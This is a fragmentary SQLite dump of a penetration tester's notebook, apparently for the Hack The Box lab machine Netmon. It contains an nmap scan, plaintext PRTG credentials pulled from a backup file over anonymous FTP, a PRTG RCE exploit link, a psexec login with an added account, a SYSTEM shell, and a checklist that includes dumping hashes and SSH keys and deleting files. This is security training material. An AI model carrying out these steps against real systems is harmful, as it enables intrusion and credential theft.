SQLite format 3 @ -
Y /C indexsqlite_autoindex_children_1children tableimageimageCREATE TABLE image (
node_id INTEGER,
offset INTEGER,
justification TEXT,
anchor TEXT,
png BLOB,
filename TEXT,
link TEXT,
time INTEGER
)
wtablegridgridCREATE TABLE grid (
node_id INTEGER,
offset INTEGER,
justification TEXT,
txt TEXT,
col_min INTEGER,
col_max INTEGER
)btablecodeboxcodeboxCREATE TABLE codebox (
node_id INTEGER,
offset INTEGER,
justification TEXT,
txt TEXT,
syntax TEXT,
width INTEGER,
height INTEGER,
is_width_pix INTEGER,
do_highl_bra INTEGER,
do_show_linenum INTEGER
)mtablenodenodeCREATE TABLE node (
node_id INTEGER UNIQUE,
name TEXT,
txt TEXT,
syntax TEXT,
tags TEXT,
is_ro INTEGER,
is_richtxt INTEGER,
has_codebox INTEGER,
has_table INTEGER,
has_image INTEGER,
level INTEGER,
ts_creation INTEGER,
ts_lastsave INTEGER
)'; indexsqlite_autoindex_node_1node k '
"CMScustom-colors$A[Y)A[Y}xn'
!WebDavcustom-colors$A[W;A[X2v)'
Dirb\DirBustercustom-colors$A?&xA[V1
m'
Niktocustom-colors$A?&oA?&l%'
Web Servicescustom-colors"A?&Nk'
UDPcustom-colors$A?&ЍA[?Lk'
TCPcustom-colors$A?&A[>CXk#'
Enumerationcustom-colors*A?&s.=ui '
10.x.x.xnmap -sC -sV -Pn -oA ./netmon 10.10.10.152
Starting Nmap 7.80 ( custom-colors$A[Y)A[Y}xn'
!WebDavcustom-colors$A[W;A[X2v)'
Dirb\DirBustercustom-colors$A?&xA[V1
m'
Niktocustom-colors$A?&oA?&l%'
Web Servicescustom-colors"A?&Nk'
UDPcustom-colors$A?&ЍA[?Lk#'
Enumerationcustom-colors*A?&s.=u
$L es'
OtherFTP Anonymous Allowed.
GET C:\Users\Public\User.txt
USER FLAG
GET C:\ProgramData\Paessler\"PRTG Network Monitor\PRTG Configuration.old.bak”
Lines 141 and 142 of the backup config
<!-- User: prtgadmin -->
PrTg@dmin2018
custom-colorsA[EϯAףs,"^5i
'
DBcustom-colorsA[EA[Selk '
SNMPcustom-colorsA[DԢA[G!Bj '
SMBcustom-colorsA[PA[DNn
)'
Other Servicescustom-colorsXA[Ad
V k o k v)'
Script Resultscustom-colorsXAIZ|xAIq/'
Post Exploitationcustom-colors*AIZnn %w'
ExploitationService Exploited:
Vulnerability Type:
Exploit POC:
Description:
Discovery of Vulnerability
Exploit Code Used
Proof\Local.txt FileService Exploited: PRTG Network Monitor
Vulnerability T
X # X /]'
Running ProcessesProcess Listcustom-colors$AIwq&#w'
File SystemWriteable Files\Directories
Directory List
custom-colors$A[3QZ-U'
Host InformationOperating System
Architecture
Domain
Installed Updates
custom-colors$A[4*
O O\ O
G'
NetworkIPConfig\IFConfig
Network Processes
ARP
DNS
Routecustom-colors$A[*܁p)'
Users & GroupsUsers
Groupscustom-colors$A[k׀.9q'
Installed ApplicationsInstalled Applicationscustom-colors$AILg
^ O g'
Goodiescustom-colorsVA?& c#+i'
Priv EscalationService Exploited:
Vulnerability Type:
Exploit POC:
Description:
Discovery of Vulnerability
Exploit Code Used
Proof\Local.txt File
☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel
custom-colorsA[;
k )c'
Scheduled JobsScheduled Taskscustom-colors$ANl
' / ' 0 '
Passwords <!-- User: prtgadmin -->
PrTg@dmin2018
pentest:P3nT3st!custom-colors$Aףz % U#i'
MethodologyNetwork Scanning
☐ nmap -sn 10.11.1.*
☐ nmap -sL 10.11.1.*
☐ nbtscan -r 10.11.1.0/24
☐ smbtree
Software Versions
Potential Exploitscustom-colorsANlH{x s/'
g'
Goodiescustom-colorsVA?& cf'
Hashescustom-colors$A?&& ich_text>Individual Host Scanning
☐ nmap --top-ports 20 --open -iL iplist.txt
☐ nmap -sS -A -sV -O -p- ipaddress
☐ nmap -sU ipaddress
Service Scanning
WebApp
☐ Nikto
☐ dirb
☐ dirbuster
☐ wpscan
☐ dotdotpwn
☐ view source
☐ davtest\cadevar
☐ droopscan
☐ joomscan
☐ LFI\RFI Test
Linux\Windows
☐ snmpwalk -c public -v1 ipaddress 1
☐ smbclient -L //ipa ddress
☐ showmount -e ipaddress port
☐ rpcinfo
☐ Enum4Linux
Anything Else
☐ nmap scripts (locate *nse* | grep servicename)
☐ hydra
☐ MSF Aux Modules
☐ Download the softward
Exploitation
☐ Gather Version Numbes
☐ Searchsploit
☐ Default Creds
☐ Creds Previously Gathered
☐ Download the software
Post Exploitation
Linux
☐ linux-local-enum.sh
☐ linuxprivchecker.py
☐ linux-exploit-suggestor.sh
☐ unix-privesc-check.py
Windows
☐ wpc.exe
☐ windows-exploit-suggestor.py
☐ windows_privesc_check.py
☐ windows-privesc-check2.exe
Priv Escalation
☐ acesss internal services (portfwd)
☐ add account
Windows
☐ List of exploits
Linux
☐ sudo su
☐ KernelDB
☐ Searchsploit
Final
☐ Screenshot of IPConfig\WhoamI
☐ Copy proof.txt
☐ Dump hashes
☐ Dump SSH Keys
☐ Delete filescustom-colorsANl< A[ڸ.,
{ /'
Proof\Flags\OtherUser - dd58ce67b49e15105e88096c8d9255a5
Root - 3018977fb944bf1878f75b879fba67cc
C:\Windows\system32>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::64a2:51:f9bb:5b69
Link-local IPv6 Address . . . . . : fe80::64a2:51:f9bb:5b69%3
IPv4 Address. . . . . . . . . . . : 10.10.10.152
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f9ab%3
10.10.10.2
Tunnel adapter isatap.{A764AE58-73C4-468A-B78D-4878FECEFC66}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
C:\Windows\system32>whoami
nt authority\system
custom-colors$Aףz{
K v!7'
10.10.10.152 - Netmoncustom-colorsAףp2Bh '
Log Bookcustom-colors(AI^ɚ( #i'
MethodologyNetwork Scanning
☐ nmap -sn 10.11.1.*
☐ nmap -sL 10.11.1.*
☐ nbtscan -r 10.11.1.0/24
☐ smbtree
Software Versions
Potential Exploitscustom-colorsANlH{x ype: RCE
Exploit POC: https://www.exploit-db.com/exploits/46527
Description:
Discovery of Vulnerability
Version number
Exploit Code Used
https://github.com/M4LV0/PRTG-Network-Monitor-RCE/blob/master/prtg-exploit.sh
sudo python3 /impacket/examples/psexec.py pentest@10.10.10.152
Password: P3nT3st!
Proof\Local.txt File
☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel
custom-colors,Aףz
= ich_text link="webs https://nmap.org">https://nmap.org ) at 2020-04-08 08:48 EDT
Nmap scan report for 10.10.10.152
Host is up (0.095s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /e vox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 12s, deviation: 0s, median: 11s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-04-08T12:48:59
|_ start_date: 2020-04-08T12:36:23
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.41 seconds
custom-colors$A?&Aףr) b